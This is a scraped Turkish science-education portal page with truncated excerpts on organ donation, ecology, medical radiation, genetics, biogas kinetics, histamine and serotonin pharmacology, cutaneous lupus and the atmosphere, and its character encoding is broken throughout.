veribaz.com - Biyom�hendislik - T�rkiye'nin veri bankas�

DOKU VE ORGAN BA�I�I

9/7/2010

DOKU VE ORGAN BA�I�I

V�cutta g�rev yapamayacak kadar hasta ve hatta bedene zararl� hale gelen bir organ�n bir yenisi ve sa�lam� ile de�i�tirilmesi d��ncesi �ok eski zamanlardan beri insanlar�n ilgisini �ekmi�tir. Organ nakli, en basit tan�m�yla, v�cutta g�revini yapamayan bir organ�n yerine canl� bir vericiden veya �l�den al�nan sa�lam ve ayn� g�revi �slenecek bir organ�n nakledilmesi i�lemidir. Organ nakli, g�n�m�zde bir �ok kronik organ hastal�klar�nda uygulanan rutin, ge�erli ve ileri bir tedavi y�ntemi olarak kabul edilmektedir. Organ nakillerinde verici kayna�� canl� ve kadavra olarak ikiye ayr�lmaktad�r. Canl� ki�ilerden organ al�nmas�, organ veren ki�inin ya�am�n� riske sokmayacak �ift organlar�n birini almak ile m�mk�nd�r (b�brek, par�a olarak karaci�er ve pankreas gibi.) Kadavradan organ al�nmas� i�in ise vericinin beyin �l�m� olmu� ve organlar�n�n kullan�labilir olmas� i�in gerekli yasal izinin al�nm�� olmas� gerekir. Kadavradan organ al�m�ndaki sorun bir�ok d�nya �lkesinde tart��lan, ��z�m yollar� ara�t�r�lan bir sorundur. Ancak, �lkemizde bu sorun daha da �nem ta��maktad�r ve transplantasyonun �n�ndeki en �nemli engeldir. Avrupa �lkelerinde organ vericilerinin %80"i kadavra, %20"si canl� kaynakl� iken T�rkiyede tam tersine organ vericilerinin %75"i canl�, %25"si kadavra kaynakl�d�r.Son y�llardaki yap�lan organizasyonlar ile �lkemizde kadavra verici bulma oran� azda olsa artm��t�r. Akdeniz �niversitesi Organ Nakli Merkezinin organizasyonu ile ise bu oran Avrupa �lkelerinin oranlar�na yakla�m��t�r. Akdeniz �niversitesinde 2001 y�l�nda yap�lan b�brek nakillerinin %51i kavra %49u canl� vericilidir. Kadavra kaynakl� vericilerin kullan�labilmesi i�in en �nemli ��z�m yolu organ ba��n�n yayg�nla�t�r�lmas�d�r. ORGAN BA�I�I, bir ki�inin hayatta iken serbest iradesi ile t�bben ya�am� sona erdikten sonra doku ve organlar�n�n ba�ka hastalar�n tedavisi i�in kullan�lmas�na izin vermesi ve bunu belgelendirmesidir.
Organ bekleyen hastalar�n say�s�n�n her ge�en g�n artt�� lkemizde toplumun organ nakli konusunda bilin�lenmesini sa�lamak, bu konuda �al��malar yapmak zorunlu hale gelmi�tir. �lkemizde T�rk Nefroloji Derne�inin 1999 y�l� sonu rakamlar�na g�re sadece b�brek bekleyen hastalar�n say�s� 23 000 dir. Bug�ne kadar �ok say�da hasta organ vericisi bulunamamas� nedeniyle kaybedilmi�tir.
Kadavradan organ al�nabilmesi i�in t�bbi �l�m (beyin �l�m�) olarak adland�r�lan �l�m halinin ger�ekle�mi� olmas� gerekir. 29/05/1979 Tarih ve 2238 Say�l�, Organ ve Doku Al�nmas�, Saklanmas�, A��lanmas� ve Nakli Hakk�ndaki Kanun"a g�re, t�bbi �l�m (beyin �l�m�) hali; bilimin �lkedeki ula�t�� d�zeydeki t�m imkanlar�, kurallar� uygulamak suretiyle bir kardiyolog, bir n�rolog, bir n�ro�ir�rjiyen ve bir de anestezi ve reanimasyon uzman�ndan olu�an 4 ki�ilik hekimler kurulunca oy birli�i ile saptan�r (Madde, 11). Hasta, bu d�rt ki�ilik uzmanlar heyeti taraf�ndan de�erlendirilerek klinik ve laboratuvar t�m incelemeleri tamamland�ktan sonra beyin �l�m� karar� al�n�r. Bu karar� veren heyet, al�c�n�n s�rekli hekimi ve organ naklini yapacak ekipten tamamen farkl� ki�ilerden olu�maktad�r (Madde, 12). B�yle bir hastan�n beyin sap� �lm��t�r. Kendi solunumunu yapmas� m�mk�n de�ildir. Ancak makinaya ba�l� olarak solunumu s�rer ve art�k geriye d�n�� yoktur. Bug�ne kadar iyile�mi� bir beyin �l�m� vakas�na rastlan�lmam��t�r.
Organ al�m� ameliyat�, ameliyathane ko�ullar�nda, cerrahi ekipler taraf�ndan titizlikle yap�lmakta, gizli diki� ile cilt kapat�larak vericinin v�cuduna sayg� ile davran�lmaktad�r. Cenaze i�lemlerinin �abukla�t�r�lmas� i�in gerekli t�m �abalar g�sterilmektedir. Organ ba��n�n dini y�nden herhangi bir sak�ncas� bulunmamaktad�r.Diyanet ��leri Ba�kanl�� Din ��leri Y�ksek Kurulu, 6/3/1980 tarih ve 396 say�l� karar� ile organ naklinin caiz oldu�unu bildirmi�tir. Bu kararla; organ ba�� insan�n insana yapabilece�i en b�y�k yard�m olarak nitelendirilmekte ve "organ�n�z� verece�iniz ki�i yapt�� iyilik ve fenal�klardan ken

EKOLOJI

9/7/2010

EKOLOJI "D�NYA ORTAMI ve CANLILAR"

G�n�m�zde insan �evre ve ekoloji s�zc�klerini bir b�t�n olarak kullanmaktadir. Kitalardan okyanuslara,g�llerden akarsulara, yer alti sularindan atmosfere, mikroorganizmalardan insana ve bitkiler alemine kadar b�t�n canli ve cansiz varliklar arasinda d�zenli bir iliski vardir. Yani organizmalar yasamlarini s�rd�rebilmeleri i�in diger organizmalarla ve �evreleriyle iliski i�erisindedir. Organizmalarin �evreleriyle ve birbirleriyle olan iliskilerini inceleyen bilim dalina "ekoloji" denir. son 30-35 yil i�inde d�nya n�fusunun hizla artmasi, sanayi ve teknolojinin ilerlemesi, dogal kaynaklarin t�kenmeye baslamasi, �evre sorunlarinin g�ndeme gelmesine yol a�mistir.

1)Canlilar ve �evre

G�n�m�zde �evre sorunlari gitgide artmaktadir. Sanayilesme ve ekonomik b�y�menin amaci gelismektir. Gelismenin saglikli olabilmesi i�in canlilarin ve diger dogal kaynaklarin korunmasi gerekmektedir. Insanlarin ve diger canlilarin yasamlari s�resince varliklarini s�rd�rd�kleri dis ortama �evre denir. Dogada canlilarin birbirleriyle ve cansiz �evresiyle olan i-liskileri saglikli ise dogal denge saglanmis demektir. Insan, i�inde bulundugu �evreyi tanimak zorundadir.
Insan n�fusunun artmasi; sagliksiz kentlesmeye ve zararli atik maddelerin birikmesine, yesil alanlarin azalmasina yol a�maktadir.
Dolayisiyla insan ekolojik dengeyi bozarak �evre sorunlarina yol a�maktadir. Dogal dengenin bozulmasi da canlilarin yasamini tehlikeye sokar.

2)�evrenin Cansiz ve Canli Etmenleri

Canlinin disinda bulunan ve canliyi etkileyen hersey �evrenin �gesidir. �evre kendi arasinda cansiz (abiyotik) etmenler ve canli (biyotik) etmenler olmak �zere 2"ye ayrilir.

Cansiz Etmenler
Cansiz ortamlardaki isik, sicaklik, iklim, toprak ve mineraller, su gibi etmenler canlilarin yasamini �nemli �l��de etkilemektedir. Canlilar da dogal dengeyi bozacak sekilde cansiz �evrelerini etkiler. Canlilarin yasamini etkileyen fiziksel etmenler asagida maddeler halinde a-�iklanmaktadir:
● Isik: Yery�z�ndeki b�t�n enerjilerin kaynagi g�nestir. G�nes enerjisinin �ok az bir kismi, d�nyaya gelerek bitkiler tarafindan fotosentez olayinda kullanilmaktadir. Bitkiler topraktan su ve mineral maddeleri, atmosferden karbondioksiti alarak g�nes enerjisinin etkisi ile bu maddeleri birlestirirler; g�nes enerjisi kimyasal enerjiye d�n�st�r�lerek glikozun yapisina katilir. Bu sirada yan �r�n olarak atmosfere oksijen verilir. Olusan besini kullanan canlilar, enerjiyi de almis olurlar.
- Sicaklik: D�nya k�re bi�iminde oldugu i�in g�nes isigi her yere esit oranda dagilmaz. Bu nedenle sicaklik da her yerde esit degildir. Organizmalarin dagilis alanlarinin sinirlari, genellikle sicakligin kontrol�ndedir. D�s�k ve y�ksek sicaklik, t�rlerin yayilisinda �nemli rol oynar. Yery�z�n�n farkli b�lgelerinin farkli miktarda isinmasi, hava akimlarina ve okyanuslarda su akimlarina neden olur. Bu akimlar ile atmosferin isi dagilimi bir miktar dengelenir.
- Iklim: D�nyanin k�resel sekli, atmosferin yapisi, isinlarin gelis a�isi, havanin saydamlik derecesi birim alana d�sen isi miktari �zerinde etkilidir. Enerjinin b�y�k bir b�l�m� g�nes isinlarinin dik geldigi ekvatora yakin b�lgelere giderken, kutuplara ve diger b�lgelere ise daha az enerji ulasir. Bu farkli enerji dagilimindan dolayi dogada isi dengesizligi olusur.
Uzun zaman araligi i�inde belirli bir b�lgede egemen olan atmosfer kosullarina iklim denir.
Bir b�lgenin iklimini belirleyen en �nemli etkenler, ekvatora uzakligi, denize uzakligi ve deniz seviyesinden y�ksekligidir.
Cografi konum, daglarin �zellikleri, bitki �rt�s� ve su iklimi belirler. Yesil alanlarin azalmasi, volkan p�sk�rmeleri ve diger faaliyetlerle atmosferden artan toz tabakasi, isinin azalmasi, d�nyadaki hava olaylarini dolayisiyla iklimi etkiler.
- Toprak ve Mineraller: R�zgar, sicaklik ve suyun asindirici etkileri d�nyanin y�zeyini kaplayan kayalarin zamanla par�alanmasini, topragi olusturan mineral taneciklerinin ortaya �ikmasina neden olur. Kayalarin �zerind

TIBB� ALANDAK� RADYASYON UYGULAMALARI

9/7/2010

T�bbi alandaki radyasyon uygulamalar�,
radyasyonla g�r�nt� elde edebilme
ve
radyasyonun h�cre veya t�m�rleri yok edebilme
yetene�ine sahip olmas� temeline dayan�r.
Radyoaktif maddenin v�cuttaki da��l�m� veya ak��
Gama kamera ad� verilen cihazlarla g�zlenir.
Anjiografi nedir ?
Anjiografi koroner arterlerin veya v�cudun di�er b�lgelerindeki damarlar�n X ��nlar� ile g�r�nt�lenmesidir. Koroner arterler kalbe kan g�t�ren damarlard�r ve t�kan�kl�klar�n� g�r�nt�lemek i�in koroner anjiografiye ihtiya� vard�r. �ncelemede lokal anestezi ile kas�k damar�na bir kan�l yerle�tirilir ve bu kan�lden yerle�tirilen kateterden verilen kontrast madde ile koroner arterler g�r�nt�lenir.
Anjiografi niye yap�l�r ?
Anjiografi kalp damarlar�nda darl�k, geni�leme veya t�kn�kl�k olup olmad��n� g�rmek i�in yap�l�r. Koroner anjiografi ile kalp damarlar� incelendi�i gibi v�cudu di�er damarlar� da anjiografi y�ntemi ile incelenebilir.

GENLER VE KROMOZOMLAR

9/7/2010

GENLER VE KROMOZOMLAR

Mendel"den sonra mitoz ve mayozun da a��klanmas�yla, ana - baba ile yavrular aras�ndaki kal�tsal ba��n, sperm ve yumurta h�creleri arac�l��yla sa�land��, genlerin de bu h�crelerle d�lden d�le ta��nd�� kan�tland�.
1. E�eye Ba�l� Kal�t�m
Tam renk k�rl��  X ve Y �zerindeki homolog genlerle
Bal�k pulluluk, kulak memesi yap��kl��  Y"nin X"le homolog olmayan b�lgesindeki genlerle
Hemofili, k�rm�z� ve ye�il renk k�rl��  X"in Y ile homolog olmayan b�lgesindeki genlerle
�nsanda e�eye ba�l� kal�t�m�n en tipik �rne�i hemofili ve k�rm�z� - ye�il renk k�rl��d�r.

Hemofili Renk k�rl��
XHXH Sa�l�kl� di�i  XRXR
XHXh Ta��y�c� di�i XRXr
XhXh Hasta di�iXrXr
XHY Sa�l�kl� erkekXRY
XhY Hasta erkek XrY

Her iki �zellik de X kromozomuna ba�l� olarak kal�tland��ndan erkek birey ta��y�c� olamaz.
Anne ta��y�c� ise erkek �ocu�unun hasta olma olas�l�� % 50"dir.
X e ba�l� kal�t�m = Daltonizm, hemofili
Y ye ba�l� kal�t�m = Kulak memesinin yap��kl��, bal�k pullulu�u
X ve Y"ye ba�l� kal�t�m = Tam renk k�rl��
Sirke sinekleri k�rm�z� g�zl�d�r. Ancak beyaz g�zl�leri vard�r. Beyaz g�zl� olanlar�n t�m� erkektir.
Yani beyaz g�zl�l�k bir mutasyon de�ildir.
Genotip Gamet
* G�z rengini olu�turan gen X koromozomu �zerindedir. Bu genin Y �zerinde aleli yoktur.
B�yle bir genin �ekinik oldu�u halde erke�in fenotipinde g�r�l�r: ��nk� Y de genin fenotipine yans�mas�n� engelleyen bask�n aleli yoktur.
Di�ide ise X lerden biri �zerinde �ekinik gen bulunsa bile fenotipte g�r�lmez. ��nk� X �zerindeki bask�n gen �ekinik genin fenotipe ��kmas�na engeller.

Erkek Di�i
Genotip Fenotip Genotip Fenotip
XBY K�rm�z� g�zl� XBXB K�rm�z� g�zl�
XbY Beyaz g�zl� XBXb K�rm�z� g�zl�
(Ta��y�c�)
XbXb Beyaz g�zl�

E�eye ba�l� kal�t�m�n bulunmas� genlerin kromozom �zerinde bulundu�unun kan�t�d�r.

Ayr�lmama
Bir genotipte gamet olu�urken bazen homolog kromozom �iftlerinden biri ya da birka�� birbirinden ayr�lmaz ikisi birlikte bir gamete giderler.

Krossingower
Homolog kromozomlar�n sinaps yapt�klar� b�lgedeki kromatitler birbirine de�er. Buna kiazma denir. Kromozomlara kiazma yapt�klar� yerdeki kromatitleri yer de�i�tirmesidir. Kromatitlerle birlikte genler de yer de�i�tirir.
* Krossingower ba�l� genler aras�nda olur.
* Krossingower heterozigot genotipler i�in �nemlidir. Homozigot genotiplerde rekombinasyona neden olmaz.
Kromozom haritalar�
Bir kromozom �zerinde bulunan genlerin (ba�l� genler) kromozom �zerindeki dizili�i s�ras�n� ve aralar�ndaki uzakl�� oransal olarak g�sterir.
* Kromozom haritalar� ba�l� genler aras�ndaki krossingower y�zdelerinden yararlan�larak yap�l�r.
* Uzak genler aras�nda krossingower daha �ok yak�n genler aras�nda daha az olur.
�RNEK

Diploit bir canl� t�r�nde, kromozom say�s� 2n-1 olan bir bireyin olu�mas�na a�a��dakilerden hangisi neden olur?
A) Krossingower
B) Kromozomlarda ayr�lmama
C) Partenogenez �o�alma
D) �ok alelli kal�t�m
E) E�eye ba�l� kal�t�m
��Z�M
Diploit bir canl� t�r�nde, kromozom say�s� 2n-1 olan bir bireyin olu�mas�na kromozomlarda ayr�lmama neden olur.
Cevap B"dir.

Bitkilerde ve hayvanlarda her t�r kendine �zg� sabit say�da kromozom i�erir. Kromozomlar�n say�s� mitoz b�l�nmedeki d�zenli ve kesin olaylarla sabit tutulur. Bir�ok hayvan ve bitkide kromozom say�s� e�ittir. Fakat kromozomlardaki kal�t�m fakt�rleri farkl�d�r.
KROMOZOMLARIN YAPISI
ilk defa 1840 y�l�nda botanik�i HOFME�STER taraf�ndan Tradescamia bitkisinin polen ana h�crelerinde g�r�lm�� ve 1888 y�l�nda VVALDEYER taraf�ndan da K r o m o z o m ismi verilmi�tir.
Hi�bir zaman yeniden yap�lmazlar ya eskiden varolan kro

B�OGAZ �RET�M�NDE METHANOJEN (METHAN BAKTER�LER�N�N) YO�UNLU�UNUN ETK�S�

9/7/2010

Biyogaz �retiminde Methanojen (methan bakterilerinin) Yo�unlu�unun Etkisi

S�rekli beslemeli tam kar��ml� tank reakt�r� (CSTR) kinetik �al��mas�ndan besi (subsrat) t�ketim h�z� ( dS/ dt)C,

( dS/ dt)C = -  X / YX/S (3, 7)

bu denklemde , methanojenlerin spesifik b�y�me h�z� (g�nl�k), X methanojenlerin yo�unlu�u, (litrede gram olarak kuru madde), ve YX/S methanojenlerin h�cresel verimi (negatif).
�ekil (3,7) de g�r�ld�� gibi besi t�ketim h�z�n� art�rmak i�in,  sabitken, methanojenlerin yo�unlu�u daha y�ksek seviyede tutulmal�d�r.  monod denklemi (�ekil 3,8) ile g�sterildi�i zaman amonyum inhibisyonundan etkilenir ve spesifik b�y�me h�z�n� kaybeder.
 = max/[ 1+ KS (NH4+ / KN ) VFA (3,8)
Bu denklemde max , max spesifik b�y�me h�z� (1/g�n veya g�n-1) , KS subsrat doyum sabiti (mg/litre ), KN serbest iyonize amonyumun inhibisyon katsay�s� (mg/litre), NH4 serbest amonyumun iyonize e�it konsantrasyonu (mg/litre), VFA methanojenlerin subsrat�n�n konsantrasyonu ifade eder (methanojenlerin yedi�i besi maddesi).

max ve YX/S methanojen t�rlerine ba�l� oldu�u i�in, ferment�r�n �al��mas�nda bu de�erler sabittir. Ferment�rdeki �evreyi kontrol edebildi�imiz zaman, (mis: pH, hammadde kompozisyonu ve fermente edilmi� s�v� gibi ) VFA  KS ve KN  NH4  =max de�erini elde ederiz.

Y�ksek performansl� methan reakt�r�n� sa�lamak i�in, ferment�rdeki methanojenlerin h�cresel yo�unlu�una odaklanmal�y�z. M�hendislik a��s�ndan ferment�rdeki methanojen yo�unlu�unu y�ksek tutmak i�in yegane metot budur. (3,7 denkleminde g�rebildi�imiz gibi). Zhank ve Maekawa [24] , H2 ve CO2 gaz kar��m�n� besi olarak kullanarak bu hipotezin lithotrophik methanojen fermentasyonunda m�mk�n oldu�unu g�stermi�tir. Biyoreakt�r m�hendisli�inde y�ksek yo�unluklu methanojen h�cresini sa�lamak i�in farkl� yollarda vard�r. Bunlar, UASB (mikrobik gran�ller) ve y�ksek yo�unluklu h�creleri ta��y�c� olarak kullanan sabit ve ak��kan yatakl� reakt�rlerdir.

Methan Fermentasyonunun Kinetik Analizi

B�y�me Form�l�n�n Modellenmesi

Kinetik analiz i�in ideal bir kemostat (reakt�r) olarak m�kemmel (tam) kar��ml� tank reakt�r�n� inceledik. Hill (26) ve pek �ok ara�t�rmac� , kinetik analizlerin kemostada (reakt�re) dayand��n� g�stermi�tir. Kitamura ve Maekawa [27], y�ksek yo�unluklu methanojen sahip ak��kan yatakl� ve sabit yatakl� methan ferment�rlri i�in bir kinetik analiz metodu a��klam��lard�r. Bu ferment�rler (3,27) resminde g�r�ld�� gibi methanojen yo�unluklar�n� reakt�r ve reakt�r ��k�� aras�ndaki fark olarak g�sterirler. Methanojen h�crelerinin k�tlesel dengesine dayanan temel denklem:
V (dX / dt ) =F0X0 + F1X1 – (F0 +F1 ) X2 + (dX / dt )G -KDXV, (3,9)

bu denklemde V, reakt�r�n �al��ma hacmi (litre), X methanojen h�crelerinin yo�unlu�u (mg/litre), t zaman (g�n), F debi (litre/g�n), K0 ��r�me katsay�s� (1/g�n veya g�n-1)

(3,9) denklemini F ile b�lerek ve X0= 0 ve X1 =0, koyarak biz a�a��daki denklemi elde ederiz.
V (dX / dt ) = -F0X2 + V (dX / dt )G - KDXV, (3,10)

Kararl� durumda (dx/dt=0 olan reakt�rde),

-F0X2 + V (dX / dt )G - KDXV =0 (3,11)

di�er yandan
X = [X"V" +X2 (V-V" ) ] /V, (3,12)

X" ve V" s�ras�yla ak��kan yatak ve sabit yatakl� reakt�rde ta��y�c�daki h�cre yo�unlu�unu ve ta��y�c�n�n hacmini ifade etmektedir.

(3,12) denklemi a�a��daki �ekilde ifade edilebilir.

H�STAM�N SERATON�N

9/7/2010

H�STAM�N
Ali Murat �RAT, PhD
irat@pharmacy.ankara.edu.tr
Otakoidler

HistaminSerotoninKininlerAnjiotensinlerEikozanoidlerEndotelinlerNitrik oksid

Histamin 1907 y�l�nda sentez edilmi�tir. �nsanda �zellikle allerjik ve inflamatuar reaksiyonlarda �nemli bir mediat�rd�r. Ayr�ca anaflaktik �ok ve doku yaralanmalar�nda da �nemli etkileri bulunmaktad�r.

�o�u dokuda histamin Mast h�creleri i�erisinde bulunmakta ve bu �ekilde ta��nmaktad�r. Histaminin bu doku ve h�crelerdeki ba�l� formu inaktiftir. �o�u stimulus bu ba�l� formun a��a ��kmas�na neden olmaktad�r. Mast h�creleri �zellikle a��z, burun, ayak, kan damarlar� ve yaral� dokularda y�ksek oranlarda bulunmaktad�r.

�nsan v�cudundaki histaminin yakla��k yar�s� histamin N-metil transferaz enzimi ve sonras�nda MAO enzimi taraf�ndan,1/3 oran�ndaki k�sm� ise diaminoksidaz (histaminaz) taraf�ndan en �nemli metaboliti imidazol asetik aside d�n��erek idrarla d��ar� at�l�r.

Sal�n�m�
Histamin sal�n�m� genel olarak bir stimulusa ba�l� olarak ger�ekle�ir. Ancak histamin salg�lanmas�na neden olan herhangi bir stimulus beraberinde ba�ka maddelerin salg�lanmas�na da neden olmaktad�r.
Sal�m�n Kontrol� ve Uyar�lmas�

Resept�rler ve Da��l�mlar�

Histamin Resept�rlerinden Ba��ms�z Etkileri
Sedasyon: Klasik antihistaminik ila�lar�n spesifik etkisidir. Baz� durumlarda uyku probleminin a��labilmesi amac�yla kullan�labilmektedirler. Nadir olarak baz� ki�ilerde ve �ocuklarda sedasyon yerine eksitasyon yapt�� da bildirilmi�tir. �ok y�ksek dozlarda eksitasyon ve koma g�r�lebilmektedir. �kinci ku�ak H1 resept�r blok�rleri �ok az ya da hemen hemen hi� sedatif etkinlik g�stermezler.
Antiemezis (Doksilamin)
Antiparkinsonizm (Antikolinerjik etkiden dolay�)
Serotonin Blok�r� Etkinligi (�zellikle Siproheptadin)
Lokal Anestezik Etki (Difenhidramin ve Prometazin)

Tedavide Kullan�l��lar�
Allerjik Reaksiyonlar: H1 antagonistleri �zellikle histaminin primer mediat�r oldu�u allerjik rinit ve �rtikerde ilk se�ilecek ila� grubudur. Yaln�z bron�iyal ast�m vakalar�nda etkisi s�n�rl�d�r. �kinci ku�ak antihistaminikler tercih edilmektedir.
Hareket Hastal�g� ve Vestib�ler Rahats�zl�k: Hareket hastal��nda H1 antagonistleri skopolaminle birlikte ilk tercih edilecek ila� grubudur (�zellikle Difenhidramin ve Prometazin).
Hamilelikte G�r�len Bulant� ve Kusma

�la� Etkile�meleri
�kinci ku�ak H1 blok�rleri �zellikle ketokonazol, itrakonazol ya da makrolid grubu antibiyotiklerle (�r. Eritromisin) kullan�ld��nda letal ventrik�ler aritmiler g�r�lebilmektedir.
Greyfrut suyu da benzer �ekilde bir etkinlik yapmaktad�r (CYP3A4)

Serotonin
Serotonin triptofandan sentez edilen ve enterokromafin h�crelerde vezik�llerde depo edilerek tutulan bir maddedir. �retildikten sonra MAO taraf�ndan y�k�lmaktad�r. Hem merkezi sinir sisteminde rol oynamaktad�r ve hem de gastrointestinal aktiviteyi d�zenleyen lokal bir hormon olarak g�rev yapmaktad�r. Serotonin �ok az bir miktarda da olsa trombositlerde sentez edilmektedir.
Resept�rler
5-HT1 resept�rleri: Beyinde bulunmaktad�r ve K+ konduktans�n� art�rarak sinaptik inhibisyona neden olmaktad�r. Serotonin bu resept�rler arac�l��yla hem eksitat�r hem de inhibit�r etkinlik g�sterebilmektedir.
Klinik Kullan�m
Serotoninin klinik bir kullan�m� yoktur.
Serotonin Agonistleri
En �nemli agonistlerden birisi 5-HT1D agonisti olan Sumatriptan"d�r. Naratripran ve Nizatriptan benzer etkili molek�llerdir. �zellikle migren ve "cluster" tipi ba�a�r�s� ataklar�nda kullan�lmaktad�rlar. Bu tip ba�a�r�lar�nda serotoninin rol� oldu�undan dolay� bu tip ila�lar etkilidirler. �la�lar oral olarak al�nmaktad�rlar ancak Sumatriptan parenteral olarak da kullan�lmaktad�r.
Serotonin Re-uptake �nhibit�rleri
Serotonin re-uptake inhibit�rleri genel olarak antidepresan ila�lar�n bile�iminde kullan�lmaktad�rlar. Serotoninin sinir u�lar�ndan geri emilimini engellediklerinden dolay� etkinlik yapmaktad�rlar. �rnek olarak Deksfenfluramin verilebilir (yak�n zamanlarda piyasadan �ekilmi�tir).
Serotonin Antagonistleri
S�n�fland�rma ve Prototipleri: Antagonistlere �rnek olarak verilecek en �nemli bile�ik Ketanserin"dir. Ketanserin 5-HT2 ve alfa-adrenosept�r blok�r etkinlik g�stermektedir. Fenoksibenzamin ve Siproheptadin de 5-HT2 resept�r antagonisti �zellik g�stermektedirler.
Etki Mekanizmalar�
Ketanserin ve Siproheptadin kompetitif farmakolojik antagonist �zellik g�stermektedirler. Fenoksibenzamin ise irreversibl b

KUTAN�Z LUPUS ER�TEMATOZUS

9/7/2010

KUTAN�Z LUPUS ER�TEMATOZUS

TANIM
Ba�l�ca damarlar� ve ba� dokusunu olmak �zere t�m i� organlar� tutabilen,
T�m tiplerinde belirgin deri tutulumu olan bir hastal�kt�r.
LE SPES�F�K DER� HASTALIKLARI -I
Akut kutan�z LE
1. Lokalize akut kutan�z LE
2. Jeneralize akut kutan�z LE

Subakut kutan�z LE
1. An�ler subakut kutan�z LE
2. Pap�loskuam�z subakut kutan�z LE

LE SPES�F�K DER� HASTALIKLARI -I
Kronik kutan�z LE
1. Diskoid LE
2. Hipertrofik/verr�k�z DLE
3. Lupus profundus/lupus pannik�lit
4. Mukozal DLE
5. Lupus tumidus
6. Chilblain LE
7. Likenoid LE
EP�DEM�YOLOJ�
ACLE
K/E:8/1
Siyah �rkta fazla
SCLE
Kad�nlarda daha s�k
Beyaz �rkta fazla
DLE
K/E:3/2
20-40 ya�lar aras� s�k
Siyah �rkta fazla

ETYOLOJ�
Genetik fakt�rler,
HLA-B7,B8, Cw7, DR2, DR3, DQw1
G�ne� ��
Travma (yan�klar, yara, s�yr�k ...)
Mental stres
�la�lar (izoniazid, penisilamin, griseofulvin, hidroklorotiazid, prokainamid...)
Viral enfeksiyonlar
Sigara
ETYOPATOGENEZ
Dermal perivask�ler alanda monon�kleer
h�cre toplanmas�

Ig ve kompleman birikimi

Dermoepidermal bile�kede hasar
AKUT KUTAN�Z LE -I
Lokalize akut kutan�z LE
SLE"li hastalar�n % 20-30"unda y�zde klasik kelebek tarz�nda d�k�nt� veya morbiliform er�psiyon
Burun k�pr�s� ve malar ��k�nt�lar �zerinde simetrik eritem ve �dem
Al�n, �ene ve boyun V b�lgesi

AKUT KUTAN�Z LE -II
Jeneralize akut kutan�z LE
�zellikle kol ve ellerin ekstans�r y�zlerinde olmak �zere daha geni� da��l�ml� morbiliform ve eksantamat�z erupsiyonlar,
TEN"i taklit edebilir
Etiyolojide UV"nin en fazla rol oynad�� form

AKUT KUTAN�Z LE -III
Histopatoloji;
Bazal tabakada hafif fokal dejenerasyon
�st dermisde m�sin�z �dem

Ay�r�c� tan�;
Seboreik dermatit
Akne rozasea
Polimorf ��k erupsiyonu
Jessner"in lenfositik infiltrasyonu

SUBAKUT KUTAN�Z LE -I
Eritemli mak�l ve/veya pap�ller hiperkeratotik pap�loskuam�z veya ann�ler/polisiklik plaklara ilerler.
Kollar�n ve bacaklar�n ekstans�r y�zleri,
s�rt �st b�l�m�,omuzlar,boyun V b�lgesi
Nonskatrisyel alopesi, a�r�s�z m�k�z membran lezyonlar�, livedo retik�laris, periungual telenjiektazi
Sj�gren sendromu, romatoid artrit, ve hashimoto tiroiditi ile birliktelik

SUBAKUT KUTAN�Z LE -II
Histopatoloji;
Follik�ler t�ka�
Bazal tabakada hidropik dejenerasyon,
Dermisde �dem,
Eritrositlerin fokal ekstravazasyonu
Fibrinoid dejenerasyon

FOS�L YAKITLARIN T�KET�LMES�

9/7/2010

Fosil yak�tlar�n t�ketilmesine ba�l� olarak atmosferdeki karbondioksit miktar� giderek art�yor. Atmosferde ne denli �ok �s� tutulursa d�nyan�n s�cakl�� da o denli artar. Buna k�resel �s�nma denir.

Atmosferde ki ozon

Ozon tabakas� stratosferde yer al�r. Bu tabaka, g�ne�in ultraviyole ��nlar�n� b�y�k �l��de emerek onlar�n yery�z�ne ula�mas�n� engelleyen ozon gaz�ndan olu�ur.

CFC"ler (kloroflorokarbonlar) denilen gazlar�n ozon tabakas�n� deldi�i bilimsel olarak saptanm��t�r. Bu gazlar aerosol kutular�nda ve dondurucularda kullan�lmaktad�r. Ozon tabakas�nda kuzey kutbu ve Antarktika �zerinde delikler g�zlenmi�tir. G�ne� ��nlar�yla motorlu ara�lar�n egzoz gazlar� aras�ndaki kimyasal ir tepkime sonucu atmosferin a�a�� kesimlerinde y�zey ozonu olu�ur. Bu , normal olarak atmosfere yay�l�r; ancak s�cak hava tabakas�n�n alt�nda so�uk bir hava tabakas� s�k��p kal�rsa, ozon gaz� yo�unla�arak fotokimyasal "sis" olu�turur. Yaz�k ki y�zey ozonu daha y�ksekte yer alan ozon tabakas�ndaki delikleri onaramaz.

Yerk�renin katmanlar� yo�unluklar�na g�re d��tan i�e do�ru;
1- Hava k�rea (atmosfer),
2- Su k�re (hidrosfer),
3- Yer kabu�u (litosfer)
4- Manto,
5- �ekirdek, olmak �zere be� k�s�mdan olu�mu�tur.

1- Hava K�re (Atmosfer)

Yerk�reyi ku�atan ve onunla birlikte d�nen gaz kar��m�na hava k�re (atmosfer) denir. Toplam kal�nl�� 10 000 km. kadard�r. Atmosfer; troposfer, stratosfer, mezosfer (�emosfer), iyonosfer ve eksosfer (d�� k�re) katmanlar�ndan olu�mu�tur.

Troposfer:Yer kabu�unun �st�ndeki ilk katmand�r. ortalama kal�nl�� yery�z�nden itibaren 12 km.dir. Kutup b�lgelerinde kal�nl�k 8 km.ye kadar d��er. ekvatorda ise 16 km.yi bulur. Yerkabu�undan yukar�ya do�ru ��k�ld�k�a bas�n� ve s�cakl�k 0,5 dereceye d��er. Troposferin son buldu�u b�lgede hava s�cakl�� -50 dereceye, -60 dereceye kadar d��er.
R�zgar, ya��, y�ld�r�m, �im�ek gibi do�a olaylar� genellikle troposfer tabakas�nda olu�ur.

Stratosfer: Kal�nl�� 30 km.dir. Stratosferde y�kseldik�e bas�n� d��er. Troposferin tersine stratosferde y�kseldik�e s�cakl�k artar. Stratosferin bitiminde s�cakl�k 0 dereye ��kar. Bu katmanla mezosfer aras�nda bulunan ozon tabakas�, g�ne�ten gelen ultraviyole ��nlar�n� so�urarak d�nyam�zdaki canl�lar� g�ne�in zararl� etkilerinden korur.

Ozon tabakas�n�n baz� b�lgelerinin d�nyada kullan�lan spreyler, so�utucular ve kloroflorokarbon gaz�ndan dolay� inceldi�i tespit edilmi�tir. Kloroflorokarbon gaz�n�n �retimi ve kullan�m� yasaklanm��t�r.

Mezosfer (�emosfer): Yakla��k 35-45 km. kal�nl��ndad�r. Stratosferde artan s�cakl�k burada tekrar azalmaya ba�lar. s�cakl�k mezosferin bitiminde -100 dereceye kadar d��er.

